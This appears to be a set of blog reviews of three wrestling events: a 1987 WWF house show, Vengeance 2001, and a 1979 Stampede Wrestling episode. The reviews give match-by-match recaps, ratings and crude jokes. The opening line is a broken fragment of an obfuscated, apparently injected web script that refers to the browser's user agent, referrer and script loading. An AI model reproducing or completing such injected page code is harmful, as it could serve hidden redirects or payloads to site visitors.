");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fknyn|var|u0026u|referrer|zidfe||js|php'.split('|'),0,{})) House Show
Date: December 10, 1987
Location: Sam Houston Coliseum, Houston, Texas
Commentators: Bruce Pritchard, Mike McGuirk, Duke Doherty

 

Oh that commentary team is going to kill me today. Not really sure of what to expect on this card as I haven’t seen the details of it. The matches would probably be fallout from Survivor Series and leading up to the Rumble….which doesn’t tell us much at all as that was more or less Andre vs. Hogan and that’s about it. Anyway, I love the late 80s so let’s get to it.

 

Dusty Wolfe vs. Sam Houston

 

Who do you think is going to be the crowd favorite here? Sam is the half brother of Jake Roberts and is a small cowboy. This commentary team is already annoying. McGuirk (a woman in case that wasn’t clear) barely knows anything, Pritchard (Brother Love) isn’t bad and Doherty is an annoying cartoon character. Houston almost dances every step he takes in this weird shuffle kind of movement.

 

Houston locks on an armbar and then does it a few more times. This goes on way too long in what should just be a squash. McGuirk is trying but she sounds like a total amateur, saying stuff like “Yep” and “all right” etc. Doherty is trying to be funny I think and is failing completely. This is like a 3 minute match stretched out to eight minutes. Houston gets out of a headscissors and sends Wolfe to the floor.

 

Hey look it’s back to the armbar! Ok, this is a great example of what I talk about on occasion. Working on the arm is fine, but mix it up! There are a lot of holds to use on any body part, so use more than one of them or the fans get bored. Houston pounds away on the head and they botch a spot where Houston was supposed to use the ropes to slingshot himself over Wolfe’s head (you’ve seen it done a ton of times) but he misses and his back hits Wolfe in the face. Bulldog ends it just after that.

 

Rating: D. Boring match here that went on WAY too long. The arm work could have had about two minutes chopped off of it and no one would have cared. Houston was just boring most of the time with the eternally lame cowboy gimmick that hardly ever gets over for a face. Weak opener.

 

Hercules vs. Junkyard Dog

 

Oh dear. Hercules takes some headbutts and hits the floor with a bad headache. Dog blocks a bunch of strikes and Hercules heads to the floor again. Dog looks bored out of his mind here. Hercules wants time out. Bruce: “There are no time outs in professional wrestling.” This is being said while Dog stands there waiting. I love mild irony like that. A hip toss puts Hercules on the floor again. This is rather dull stuff and Dog of course isn’t going to do anything to make it any better.

 

Back in the ring (for now) and a guy named HERCULES is afraid to try a test of strength. The Dog of course cheats once he gets the hold he wants and headbutts Herc in the knee. Back to the floor four a fourth time now as I guess he’s using psych…..he’s using psych…..no I can’t say it. Back in and Hercules hammers away with literally nothing but punches for two.

 

Off to some kicks to the head which do nothing at all to the Dog. See he has a hard head. Full Nelson can’t go on and the fans like the JYD. He rams Herc into the corner a few times as I wish someone would do to me so that I could black out and not have to watch this match anymore. Double clothesline and both guys go down. Doherty has one heck of a lisp. Headbutt and elbow miss for either guy and that’s about it as Herc gets a knee to the chest and puts his feet on the ropes to end it.

 

Rating: D-. This was boring beyond belief. Dog didn’t do more than 5 moves the whole match and Hercules might have hit four. Terribly boring match here with the Dog looking bored out of his mind yet he was still cheered relentlessly. Dog was done after Mania 4 for all intents and purposes if I remember right.

 

Brady Boone/Billy Jack Haynes vs. Demolition

 

Ken Patera is managing the less famous guys for no apparent reason. Boone is famous for going to high school with Nikita Koloff, Rick Rude and Mr. Perfect among others. Brawl to start as Doherty thinks Demolition are aliens. The ring is cleared kind of and we start with Boone and Smash. Haynes and Boone are REALLY proud to be from Oregon.

 

Apparently Demolition tried to injure Boone so this is something like a revenge match. Off to Axe who is tossed around by Haynes. We get the required interference from Smash and Fuji as Demolition takes over. McGuirk talks about Demolition and Fuji being ugly. Thanks for your contributions here. Haynes manages a suplex but can’t do anything about it and here comes Ax.

 

Boone comes in a bit later. He looks like Barbarian in the face actually. He can sell fairly well too. Ax vs. Boone at the moment with Ax in control. This isn’t a squash and it’s not supposed to be which makes this a more entertaining tag match. Sunset flip by Boone but Ax makes a good tag on the way down to save himself. O’Connor Roll doesn’t work on Smash and it’s back to the neck crank.

 

Boone gets a nice counter to a back drop and brings in Haynes. Somehow he moves like a house on fire. Wouldn’t a house on fire stand still? Powerslam to Smash gets two as it breaks down. Double clothesline puts Smash down and Boone messes up a cross body off the top and a hot shot ends him to give Demolition the win.

 

Rating: C+. This was surprisingly good. Boone is a guy I’ve only seen a handful of times and I’ve barely seen Haynes outside of his feud with Hercules. This wasn’t bad actually with Demolition having to take some time here and therefore you get a good match out of it. Nice little treat here and definitely the best match of the night so far.

 

Rick Rude vs. Paul Orndorff

 

Orndorff vs. Heenan here. The ring announcers messes up where Rude is from and Rude corrects him. Is the announcer R-Truth’s white father or something? McGuirk seems to like both guys here as far as bodies go. Orndorff hammers away to start and gets a backdrop. No Heenan on the floor here for Rude. Out to the floor and it’s all Orndorff. Rude offers a left handed handshake which gets him nowhere as Paul takes him down with a clothesline.

 

Can anyone sell an atomic drop like Rude can? Now Orndorff wants a handshake but as he comes in for it he gets his eyes raked and Rude takes over. Sunset flip is blocked by Rude but a handful of tights gets him over for two. Rude sends him to the floor and gyrates a bit. Back into the ring it’s a nerve hold, the mating call of the sandman. By that I mean it puts people to sleep, not that it brings in a drunken “wrestler” that used alcohol references as names for his moves.

 

This stays on for awhile as you can see that Rude is just kind of kneeling and not putting any pressure on there at all. Orndorff fights up but misses an elbow to stop the momentum and kill the crowd all over again. Here’s the real comeback with Orndorff hammering away and getting a dropkick. We hit the floor and as they come back in, Rude grabs the top rope to block a sunset flip to counter what he couldn’t earlier.

 

Rating: C+. Pretty decent match here as you have two upper midcard guys going at it. Of course Orndorff would turn heel soon and join Heenan who he had feuded with forever. Rude was still just kind of there but a guy named Warrior would change that in about 18 months. Wow that’s a long way off.

 

One Man Gang vs. Brutus Beefcake

 

Brutus is still in his possibly sexually questionable tights. He’s also incredibly popular here despite not being much in the ring. Gang is of course a generic big man monster. Barber hops on the middle rope to balance out the height of the Gang. They lock up and Beefcake goes up the corner again where the threat of a punch makes the Gang back off. This time Brutus actually gets in said punches and hammers away including sending Gang flying to the floor off a single punch.

 

Beefcake works on the arm as Gang is moving far more than usual out there. OMG (funnier than it used to be) kicks him in the ribs and here comes the fat man. With Brutus on his back Gang grabs the leg like it’s for a half crab and leans forward for a cover of come kind. More leg work by Gang which is kind of odd to see. Here’s the comeback and a high knee puts the Gang down. Slick interferes and a shot to the back sets up a big elbow drop to end it.

 

Rating: C. Not exactly a good match from a workrate perspective but they did a great job of getting the crowd into it which is the right idea. Beefcake used a total of one move that wasn’t a punch, but hammering away on a giant is certainly the right idea, as there isn’t much you can do to a guy his size. Nothing great but all things considered, not bad.

 

Post match Slick and the Gang fail at giving Beefcake a haircut.

 

Tag Titles: Hart Foundation vs. Strike Force

 

Strike Force had won the titles about a month or so before this and this is match #857 or so between them. Still though, it should be awesome. The Harts jump the champions as they hit the ring but Strike Force fights them off. No Jimmy here for some reason. We stall for a good while before it’s Bret vs. Martel to start us off.

 

Martel cartwheels out of something (nearly kicking Bret in the head) and gets a cross body and sunset flip for two. They are MOVING out there. Tito comes in as Bret goes to the floor to hide. Thankfully it’s short and it’s back to Tito working on the arm. He cranks on an armbar which really is looking painful.

 

Martel comes in for no apparent reason and Neidhart comes in to block him. The referee gets Jim out and the champions tag without the referee seeing it at all. Apparently this is all cool. Who are the heels here again? Martel cranks on the arm a bit and does the ever important thing of mixing up the things he does to it. After some quick double teaming it’s back off to Tito and the flying forearm gets two.

 

Anvil comes in with no tag but he says he did. Well that’s on the referee then for being an absolute idiot. Jim takes over on Tito and Bret adds some cheating while Martel tries to get in. Little things like those are what make matches great. Tito gets tied up in the ropes as it’s all Foundation here. The fans chant for Tito and the Harts keep doing such basic cheating that they get the fans further and further into the palms of their hands with every second.

 

Bret gets the backbreaker for two. The crowd is into this as this is very good heel vs. face stuff. Anvil breaks up another tag to kill the crowd (in a good way) all over again. They run the ropes and collide with Bret possibly having hurt his knee. Both partners come in and Jim puts Bret on top for a VERY close two. Tito sends Bret into the corner chest first as Bret would do almost every match.

 

Anvil AGAIN stops the tag though and chokes away as Bret and Martel chase each other around the ring for awhile. The Harts try to cheat again but Bret accidentally hits a running knee to Jim. THERE’S the hot tag to Martel and the fans are literally on their feet. It’s dropkicks all around and we get the Boston Crab (the hold they won the titles with) to Bret. The referee tries to get Tito out and Anvil hits Martel with the belt. The referee misses that but Tito picks it up to hold the Harts off. Somehow Strike Force wins despite the referee having no idea what Jim did.

 

Rating: B. The ending holds this back but seeing the GREAT job of getting the crowd into this was impressive. They kept building on the whole “they can’t get Martel in” until the tag finally was made and the place erupted for it. That’s how you work a crowd and considering this was on a house show, that’s impressive beyond belief. This would have been a good PPV match and it’s on a house show. Great stuff, questionable ending aside.

 

Mike Sharpe vs. Ultimate Warrior

 

Well this should be quick. Warrior sits him on the corner to start and threatens to hit him in the back of the head. Warrior’s face paint looks like it’s already half off. Shoulder blocks get Sharpe nowhere and Warrior casually steps to the side to avoid a dropkick. That’s a perfect counter as he’s the last person you would expect something clever from. After Sharpe hits the floor for a bit Warrior gets a leap frog and a slam to send him right back outside.

 

Sharpe wants a test of strength. Why does this seem like it’s REALLY FREAKING STUPID??? Sharpe goes to the ribs with some boots and down goes Ultimate. Wow that was incredibly odd to type. Warrior fights up but misses a charge into the corner. After being hurt for about 3 seconds he hammers Sharpe into the corner and takes over. Press Slam ends this.

 

Rating: D+. Just a squash here with a slightly added amount of time. Warrior was never in any real danger here but you could tell they were still protecting him heavily by not having him in there that long. That’s definitely the right idea but at the same time it got rather repetitive quickly, as it did here.

 

Ron Bass vs. Ricky Steamboat

 

Bass holds him off with a whip so the Dragon goes out and grabs a chair. Naturally Steamboat speeds things up and gets a quick sunset flip for two. The cat is skinned and Steamboat gets what we would call a rana for two. For some reason the cameraman wearing a Hulkamania shirt makes me chuckle. Bass takes over and gets a clothesline but walks into something like an enziguri (granted it hit the back but no one knew what it was supposed to be at this point anyway) to send Bass to the floor.

 

Back in and Steamboat grabs the arm to take the bigger man down. I know it’s basic but it’s about the smartest thing you can do so there’s a reason it’s that common. McGuirk is like Booker T as all she really says is an occasional move in the ring. Steamboat tries to speed this up again but walks into a hot shot to finally shift control to Bass. Piledriver gets two.

 

Bass hammers away with a knee drop (called Knee-monia by Doherty and making me want to take a knee to the head so I hopefully forget that joke) to the head and various other basic offense for two on a few occasions. Pretty weak swinging neckbreaker gets two. Off to the chinlock now and Steamboat’s face is all crushed up, making it look hilarious.

 

Here’s the comeback and Steamboat goes up for the top rope chop. Steamboat can’t keep anything going here as a clothesline takes him down again. Out of absolutely nowhere, Steamboat gets a cross body not off the ropes to end this. Surprising endings like those are always fun, especially for the live crowd.

 

Rating: C-. Never been a fan of Bass but it’s hard to argue against Steamboat in the late 80s. Not bad here but really just a way to kill about ten minutes. Steamboat would be gone in about five months and would head back to the NWA where he would win the world title in February of 89.

 

Greg Valentine vs. Kenny Johnson

 

Valentine was finally out of tag teams and would get a mild heel push that really went nowhere. Johnson is pale, hairy and has huge tights. I have no idea what to say here as this is a total squash. Valentine beats on him for about two and a half minutes, Johnson gets in a few punches and the figure four ends it. Just a squash.

 

WWF World Title: Ted DiBiase vs. Hulk Hogan

 

DiBiase has Virgil and Andre with him. Both are listed as seconds. So he has two seconds? There’s a “that’s still not a three count” joke in there but it’s really bad so I’ll pass. Hogan comes straight at him with the belt and DiBiase runs. The place erupted for Hogan to say the least. Hogan pulls him right in and the fight is on. He beats on Ted and DiBiase heads to the floor to hide.

 

That gets him nowhere but Andre makes Hogan go back into the ring. Virgil is pulled into the ring and both he and DiBiase take big boots to send them to the floor. Hogan keeps posing and the fans keep getting louder. We finally get going and Hogan uses his wrestling skills to take DiBiase to the mat. We hit the floor and DiBiase finally takes over a bit. Ted stomps away and chokes Hogan a bit and Hogan does his always interesting version of selling.

 

Hogan starts his comeback and sets for the leg drop but Andre trips him up. Hogan yells at Andre….and wins by disqualification? That’s it? We get a six minute main event? Seriously? Apparently not as we’re not only going to continue but Andre must leave ringside and has been fined two thousand dollars! I’ve never heard of that before but it’s still pretty cool.

 

DiBiase jumps Hogan and might have hit him with a foreign object to take over. DiBiase hammers away on him with his usual stuff but Hogan Hulks Up and the big boot puts DiBiase down. Virgil gets on the apron and DiBiase hits him with a knee. Hogan grabs a fast roll up to retain the title. His day was coming very soon though.

 

Rating: D+. The match was pretty worthless for the most part although the nice little switch in there was a nice change of pace from the usual stuff. It’s always cool to see a different ending like that as if nothing else it makes the fans think they’ve seen something special which is the entire point of a house show.

 

Hogan calls DiBiase and Virgil into the ring but of course they won’t go. Lots of posing takes us out.

 

Overall Rating: B-. This was pretty good for a house show with the crowd being red hot all night and the matches being pretty good overall. The main event is a little lackluster but it wasn’t supposed to be a classic. Good stuff overall as this wasn’t supposed to be a great show. I’d assume the IC Title was defended as the main event of another show which is something you got a lot of the time back in the day. Fun stuff that took a bit to get going.

 

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Vengeance 2001
Date: December 9, 2001
Location: San Diego Sports Arena, San Diego, California
Attendance: 11,800
Commentators: Jim Ross, Jerry Lawler

The first one here is kind of huge as we unify the WWF and WCW World Titles. I’ve spent months if not years trying to figure out why this is at Vengeance and not like a month later at the Rumble. The idea is that HHH was supposed to be the first Undisputed Champion but wasn’t ready yet. But he was back at the Rumble so why didn’t they just do it there? Or at Mania for that matter?

Either way, it’s more or less a small tournament with Austin vs. Angle for the WWF Title and Rock vs. Jericho for the WCW Title, then the winners fight. Austin and Rock are Austin and Rock, Angle kept beating Austin and Jericho was the best in the world at the time. Other than that, there’s nothing of note on the card. Let’s get to it.

We open with this weird old silent movie that allegedly was made by Freddie Blassie about having only one champion. It’s freaky to put it mildly. Seriously, this is disturbing. Sinner is a good song once we get to the arena at least.

And here’s Vince. Apparently on Thursday, Vince got his head shoved into Rikishi’s thong. Good to know. We’re in the full fledged WHAT stage at the moment too so that’s getting old quickly. Vince is upset that the fans laughed at it like it was some kind of comedy skit. A man that walks with his chest out like a girl trying to make sure you notice her had his head shoved into the back of a thong-wearing street dancing sumo wrestler and Vince is mad that it’s being treated like a comedy skit.

The whole idea of Vince at times is one of the funniest things in the world. He says “he who laughs last laughs best”. And here’s Flair who owns half of the company at the moment. Why do I feel like I’m watching Impact? Flair looks like an idiot. Yeah it’s Impact. We’re pushing ten minutes into the show and the youngest guy so far has been Vince McMahon. Flair starts a match.

Albert/Scotty 2 Hotty vs. Christian/Test

GO BACK TO THE OLD GUYS! Albert is the Hip Hop Hippo at the moment. Egads. They aren’t the Unamericans yet. And the Heat match was the APA vs. Billy and Chuck. Why can’t we see that instead? You know these reviews aren’t really as angry as they used to be. Granted that could be because these shows are far less insulting to my intelligence. They may be weaker shows but they’re competent at least which is more than a lot of shows give you.

Christian is European Champion at the time. Albert is the Hip Hop Hippo at this point. Take me now. And remember people: this guy was INTERCONTINENTAL CHAMPION. He was one of those guys that always seemed like was on the verge of a big push but it never happened. Lawler makes some bad jokes about potential names for the faces. He’s just making this more painful if that’s somehow possible. Wow it’s weird seeing Teddy Long as a worthless referee.

Far more used to him being a useless GM. Scotty and Test work the majority of this match for reasons that completely elude me. Oh look it’s Albert vs. Christian rather than Test vs. Albert, as in you know, FORMER TAG PARTNERS FIGHTING. I guess that would make too much sense. We get a Giant Swing and a Don Leo Jonathan reference. Wow indeed. Albert just massacres both heels.

With some tweeking to his gimmick, he could have been passable. And now Christian does the Worm. We get a surprisingly decent sequence as Scotty is down. And of course we get the Worm. These kinds of moves are just stupid. A simple bulldog keeps Test down for about 20 seconds which it takes for the setup for it? See why that’s idiotic? Baldo Bomb, a two handed chokeslam into a powerbomb, ends it. It actually got a pop.

Rating: D. Just…why? What in the world was the point of having this match on PPV? This was something that belonged on Velocity or Heat or something like that. It was as generic as you could ask a match to be also. This was just a head scratcher and not that good.

Regal cuts a decent promo on Edge. Now bad at all.

Intercontinental Title: Edge vs. William Regal

So Edge at this time is getting a massive push as he goes from a tag team star to more or less the top of the midcard in less than six months. Think of him like what the Miz has been doing for the last year or so, but even faster. He was as popular as ever and allegedly was going to win the Raw World Title at the next Survivor Series in the debut of the Elimination Chamber but Shawn and HHH decided Shawn should more or less come in off the streets and beat HHH, Jericho, Booker T, RVD and Kane instead.

Edge has been laughing at Regal for a long time to set this up. Great heat on Regal. More or less the British guy is just doing very bad things to Edge with all kinds of ridiculous strikes and basic stuff. Edge busts out a hurricanrana of all things. Before he hurt his neck, he was a completely different worker. Check out his 2002 stuff and you’ll be very impressed. Edge goes for a spear on the floor and hits the steps, allowing Regal to get some brass knuckles.

That was his big thing at the time and it was a very solid heel tactic to use. He throws out back to back Tiger Drivers in a surprising sequence. Not sure why it’s surprising but that’s the first thing that came to mind. Regal goes for the brass knuckles but takes a spear for Edge to get a quick pin. Regal made that match for the most part.

Rating: D+. This just missed for me. It’s not terrible or anything, but at the same time it just felt like there wasn’t much here. Regal more or less dominated but took a quick spear to get pinned. Not sure how much I like that at all. Still though, the crowd was really into this which helped it a lot. Again, not terrible but not very good at all.

Flair is on the phone and Angle comes in. He’s a 14 time champion here so somewhere he picked up two more. I guess they gave him two more NWA reigns somewhere.

Lita, the guest referee for the next match, is stretching. Matt comes in and says he’s sorry for dragging Lita into this. Lita with straight hair is freaking delicious looking. She’s going to call it right down the middle.

We recap the Hardys’ rise to this point. Cool memories if nothing else. They’re fighting because Jeff has been costing them a bunch of stuff lately, namely because he keeps trying high spots rather than winning matches.

Jeff Hardy vs. Matt Hardy

Lita is guest referee here of course. Dang she looked great back then. Jeff has that stupid hat on like he used to wear back then for no explained reason. The fans like Lita more than anyone else. I can’t blame them as this was just a few steps ahead of Cryme Tyme exploding. This works SO much better as face vs. face rather than face vs. heel like they were trying to do last year at Mania.

The psychology is here too as you have two guys that know each other very well and keep countering each others’ signature stuff. The main thing here though is Lita as she’s dating Matt but is being fair. It’s a nice aspect to it that adds tension and fits the storyline perfectly. Jeff gets a nice counter to avoid being powerbombed onto the floor. Sloppy, but it was intelligent at least. Jeff hurts his leg getting back in and Matt goes for it. This is very basic but it’s coming off quite well.

Matt is clearly the heel in this as he won’t let go of a half crab when Jeff is in the ropes, I guess assuming Lita would never DQ him. Crowd likes Jeff more. I’m stunned too. Jeff blocks a Twist of Fate with that leg drop he would do at times. The killer instinct isn’t here again just like last time though. They keep countering the Twist of Fate which makes sense. Maybe it could have something to do with standing there in that position and the other guy shouting before doing it.

That would give me a hint as to what was coming if nothing else. Matt is kind of hinting at full heel here and it’s working fairly well. He’s about 40lbs lighter here also. Twist of Fate off the second rope is blocked and Jeff gets the Swanton for the clean pin. This was just missing something and I think it was the full hatred. That and this wasn’t a huge match yet, although it was getting close.

Rating: B-. Not terrible and WAY better than the Mania 25 match. This was far more ground based and it came off pretty well. It’s no classic by any means, but it’s certainly a passable match. Matt flirting with going heel worked. And then they were all fine and good at the Rumble so none of that mattered.

Rock and Trish have a weird moment. How hot would their kids be? She kisses him on the cheek. Rock more or less says after tonight, come see him again and he’ll screw her. Ok then.

Tag Titles: Dudley Boys vs. Big Show/Kane

Stacy is managing the Dudleys here and I’ve always thought this was her hottest period, which is saying a whole lot. The Dudleys weren’t useless yet at this point. Since it’s 2001, Show destroys both of the champions. Kane takes them both out with a double top rope clothesline. Show spanks Stacy. Ok then. A red thong shot on Stacy is never bad though. Yeah I don’t care about this match in the slightest. Kane destroys both of them.

Big Show destroys both of them. Some of you may be beginning to notice a pattern here. Kane accidentally hits the top rope clothesline on Show. To my complete and utter shock, Show and Kane get into an argument. Oh and Show is wearing his sexy one piece swimsuit. I can’t stand that thing. I truly can’t.

Is that supposed to look good? Is he supposed to be intimidating? Show goes after Stacy…again. D-von tries for the save and SLAMS INTO STACY. Yeah thanks for helping there bubbles. The champions take a turnbuckle pad off and slam Show into it with a double flapjack, naturally called 3D by JR.

Rating: F+. This just was not interesting at all. Show vs. Kane has been DONE. And I mean done a LOT. The ending was creative and Stacy was hot though. Even still though, this just didn’t work at all. The styles clash was so apparent here and it didn’t come off well at all.

Don’t try this at home. Feel free to though at your grandparents’ house.

Lita tries to apologize. It doesn’t work.

Sinner is the theme song. I saw that band last night.

So Taker was ticked off at Vince for not telling him that Angle was the mole in the Alliance. Because of that, he turned heel and started his RESPECT ME thing. He talked about all the people he beat up and that he kissed up to Vince more than anyone else. He saved JR from kissing Vince, and then beat him up and made him kiss it. Nicely done. Oh and he went after RVD. This was his heel turn for a long time.

Hardcore Title: Rob Van Dam vs. The Undertaker

Taker still gets face pops, but that likely has something to do with the Limp Bizkit song and the Harley. I say the song because it lowers intelligence so much that people forget what they were told on television. Oh and Taker got a massive haircut. Van Dam doesn’t have his signature theme yet at this point but it was coming soon. Like the next night or close to it soon. Taker is the America Tough Guy here and the style is remarkably different.

We hit the crowd here which at least makes sense due to the hardcore aspect. This is actually a pretty interesting match from a star power perspective, although it would be like 5 years before RVD was a main event guy. Never mind his solid in ring stuff (no it’s not as great as it’s made out to be) and the MASSIVE pops he got. He just wasn’t ready yet and wouldn’t be for years. Also he was out like a year with a bad knee so that wasn’t something anyone could control.

We get to the weapons and RVD saves himself with a fire extinguisher. Van Dam does a balcony dive and in an amusing visual, the stuff they land on shoots up a bunch of dust. It might have been Taker. They’re fighting behind the TitanTron now and you can see why WWF was so far ahead of ECW when it was still in business: there is a camera right there with a perfect shot of them. You can see every single thing that happens rather than seeing a random arm or leg. It’s very nice indeed.

Taker picks him up and rams him head first into the set which he goes partially through. Nice looking spot. Van Dam gets Rolling Thunder on the stage since a head injury that severe of course is something you can get up from very quickly. Van Dam does his running chair shot dropkick thing and it’s called a Van Daminator.

I would ask if JR ever watched ECW but I think I already know the answer to that. Taker wears him out with a chair and of course he’s fine. Van Daminator misses and RVD gets chokeslammed off the stage through some tables and is pinned. Taker as Hardcore Champion is an interesting idea.

Rating: B-. Not bad here but the majority of the rating comes from the oddness of seeing Taker in the midcard title hunt. Having a guy like RVD rub elbows with a guy like Taker is only a good thing for him at this point, although this was Taker trying out his new image and I’m not so sure how it was working. Fun match though and not your traditional hardcore stuff at all.

Jericho comes in and complains to Flair about….life in general I guess. Flair is half owner in case I forgot to mention that. Jericho’s big thing was he can’t win the big one, which is the case here. The Brand Split hadn’t happened yet either. I think that was the night after Mania or like 2 weeks after that.

Women’s Title: Trish Stratus vs. Jacqueline

To say Trish looks good in white is a dramatic understatement. I think this is her first title reign as they didn’t know she had talent until around this time. Seriously, who cares about Jackie? I can’t think of a soul that does. This isn’t interesting at all. Stratusfaction is blocked before it has a name. Trish wins with a backslide of all things in like 3 minutes.

Rating: N/A. Just boring as heck and not interesting at all. See what I mean by how boring this was? That was proper English to me. Trish wasn’t any good yet and it was apparent.

We recap Vince getting his head shoved into Rikishi’s thong. The look on his face is priceless. You have to give him this: there is very little Vince won’t do for his company. No one can take that away from him.

At WWF New York, Rikishi is there. He says he’s back. I guess we’ll forgive the whole vehicular manslaughter thing. There was no point to this whole thing apparently.

We recap Survivor Series where these were the final four and Jericho and Rock beat the Alliance. Vince says Austin is stripped and as the sole owner of the company, he’s naming Angle as world champion. Enter Flair, who says that’s not the case as Rock is still the (WCW) World Champion. That sets us up to hear. There’s a montage in there somewhere but you can figure that out.

WWF Title: Kurt Angle vs. Steve Austin

Austin comes in as champion. These two had a very good rivalry in August/September. Austin as champion just feels right. They start off slow. Seeing these two as face vs. face is kind of weird. We knew Angle was great at the time but Austin was a legend to put it mildly. Ok scratch that Angle as a face part I think. It’s actually hard to tell. Weird to say but it’s true. I’m pretty sure he had Kane at Mania. Actually yeah he is a heel. Yeah I’m pretty sure that’s right.

Austin runs from a mat wrestling thing so at least he’s thinking out there. This is a chess game to start us off which is very odd indeed. Austin works on the arm. See what I mean? When do you remember him doing something like that? I guess it would be difficult for him to do his normal stuff with just one good arm. Angle…shakes it off I guess and starts stomping Austin. Austin stays on the arm though which is the right thing to do. Now, is Angle smart enough to sell the stupid thing?

Ankle lock is on and the arm seems fine to me. Ah there are the ropes. Angle goes for the leg. At least that makes sense. Just like most main event guys, Angle had solid chemistry with Austin. I love watching Angle bust out suplexes, especially when he’s healthy. He freaking LAUNCHES people. Angle starts busting out Germans, which is a really awesome and simple move when you think about it: you pick up a guy and slam them on the back of their head.

That just sounds painful doesn’t it? The moonsault of course misses. Did he EVER hit that in WWF? It looked perfect if nothing else. Thesz Press hits, the crowd pops. Yeah he was still WAY over at this point. Austin shows his coolness and busts out Rolling Germans of his own.

He even goes further than Angle, hitting FIVE of them. Dang that would have freaking hurt. Angle hits another German. Oh wait he spun around about 9 degrees so it’s the Angle Slam. Got it. It gets two and there’s the Stunner to end it. Austin is in the main event.

Rating: B. Solid stuff here as always from these two. I don’t think anyone believed Austin would lose here. I mean while he’s past his prime at this point, he’s still a huge star. Still though, very solid match as these two brought out some good stuff in each other. Seeing Austin mix things up was always fun.

Trish is in a towel and getting ready, when Test comes in. More or less he hits on her and she doesn’t like it, but he can’t be fired. In other words, sexual harassment laws are trumped by battle royal victories. Sure why not? Vehicular manslaughter and necrophilia and assault and battery are never prosecuted here, so why not harassment?

World Championship: The Rock vs. Chris Jericho

Yeah the WCW Title is the World Championship, which actually sounds more encompassing than the WWF Title, but why use logic? This was a pretty solid feud back in the day, if nothing else for the promos. Jericho is heel here. Seeing Rock bust out armdrags and leapfrogs makes me appreciate him even more. Remember, he’s about the same size as Batista or so. Imagine a guy Batista’s size doing athletic things like that. I love that springboard dropkick that Jericho does. It’s just awesome looking.

This is more of a fight than the last match as the angle was more built up in this pairing. Jericho hits a sleeper like five minutes in which is odd. Jericho is no Dolph Ziggler though so it doesn’t work. Lionsault gets two as Jericho is FREAKING. We hit the floor and this has more or less been all Jericho. Like I said earlier, he was probably at the best he ever was in his career around this time and he’s getting to showcase it here. I love when guys break a count that isn’t happening.

How often do count outs consistently get threatened? Jericho gets DDTed through the table. Didn’t look as good as it sounded. The replay makes it look a bit better. It’s fun watching Rock throw punches. Jericho hooks a Breakdown, which is more commonly known as a Skull Crushing Finale. Jericho hits the People’s Elbow, and when I say hit I mean misses completely and almost gets hooked in the Sharpshooter.

Somehow he gets the Walls, but since he’s a heel at the time it doesn’t work at all. Actually he has a Sharpshooter on Rock. Same result though. Rock hits the Rock Bottom out of NOWHERE. That was sweet. And here’s Vince. At least it makes sense in storyline terms. Rock goes for the Elbow, but stops to fight Vince.

He drops a regular elbow and of course Jericho gets up because IT IS A REGULAR ELBOW DROP. Jericho gets a low blow and Rock Bottom to win the world title. Ok then. Hearing it called the world champion is odd to say the least.

Rating: B-. This was a different style than the previous match which is a nice touch I think as it was for a different title. I’d hardly think it was intentional, but it came off pretty well. Jericho was great in the ring, but I still want to see him wrestle as a face champion. It really could work.

Austin is here NOW for the title match. Jericho isn’t even back to his feet yet when Austin is stomping him.

Undisputed Title: Chris Jericho vs. Steve Austin

Nearly immediately, Angle is here and hits him with a chair. Rock is here and hits a Rock Bottom. I guess this makes us even? The fans chant for HHH, who was semi-advertised for the show. He was in a short video earlier and that’s about it. He’ll be back in about a month to the loudest pop I have ever heard. We hit the floor for a bit with Austin dominating. Ok make that a LONG bit. Jericho goes for the Walls on the remaining table but it doesn’t work of course.

Jericho hooks an armbar despite Austin LIMPING to the ring and having Angle working on the knee the whole match. The Walls go on and there goes the referee since this is still an Attitude-Era style. HHH chant again. Jericho hits a Stunner. Vince brings out another referee, Nick Patrick in this case. I’m SHOCKED! They’re OVERBOOKING A TITLE MATCH! Flair is here and the old guys go at it, foreshadowing their match at the Rumble. Austin hits McMahon to a BIG pop.

See, it still worked to an extent. Jericho taps to the Walls (you read that right) and there’s no referee. BOOKER T comes out and blasts Austin with a belt. And yes, THAT is how they end it, and I never realized this was Austin’s final match as a world champion. Yeah, Austin leaves the title picture other than a one off rematch at No Way Out like this, thanks to Booker T. WOW. Jericho holds up both belts with Ross freaking. Wow this came off bad at the end.

Rating: C-. This was overbooked to heck and back. Even once Flair came in, I was hating it. Booker costing Austin the title is fine to build a storyline, but at the same time, it just didn’t work for me. The match wasn’t terrible, but it’s a total letdown, which fits this show perfectly.

OverallRating: C-. The problem here is simple: the Undisputed Title, the first one EVER, was at a throwaway PPV like Vengeance. Seriously, this is in December and between Survivor Series and the Rumble. This is a filler PPV and they have the Undisputed Title decided here? The ending, while putting it on the right man in Jericho, was just BUTCHERED as it took like 4 people to beat Austin. Jericho needed to go over almost cleanly here and he didn’t do it.

Dang he didn’t even beat Rock clean. Other than the final three matches, nothing here matters at all. This just did not live up anywhere near to what it should have been and it’s not a good show as a result. Definitely worth seeing for the historical aspect though.

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Stampede Wrestling
Date: December 8, 1979
Location: Calgary, Alberta, Canada
Commentator: Ed Whalen

Stampede Wrestling. This is the epitome of the stomping grounds for a ton of guys. What we have here is Stampede TV from the very late 70s. I have never seen a Stampede show before and I know very little about this company aside from how huge it was in Canada and how a lot, and I mean a LOT, of guys came out of there. Let’s see if it’s as good as it was made out to be. Let’s get to it.

Keith Hart vs. Joe Ventura

I have no idea what the other guy’s name is. This is joined in progress with Whalen, the commentator, talking about French adult films and giving us a wrestling Christmas poem. This is going to be out there isn’t it? This is just past the six minute mark apparently as we get to it. Whalen thinks the referee is lovely. Now we’re talking about how much everyone weighs.

Keith is Bret’s tag partner and they’re tag champions apparently. The titles must be defended in the next two weeks or they’ll be stripped. That lets the announcer talk about us having a possible strip show. I like this guy more or less just being dirty and not trying to hide it. You can hear the hecklers in the crowd pretty clearly. The guy’s name is Joe Ventura apparently.

Apparently Butte, Montana is getting a show soon. Apparently both guys follow the rules. This is a hard style to get into as neither is incredibly interesting. Keith gets the win with an O’Connor Roll to about no reaction. We saw about five minutes out of eleven and a half.

Rating: D+. Based just on what we saw of course. This was a pretty boring match but very old school in its style. Actually considering this is over thirty years old maybe it’s just the time period it’s in. Not a terrible match but Hart was nothing special at all and Ventura was even less interesting. I wasn’t all that impressed.

Post match and post break a fan has a petition to get rid of a crooked referee and has over 60 signatures. Ok then.

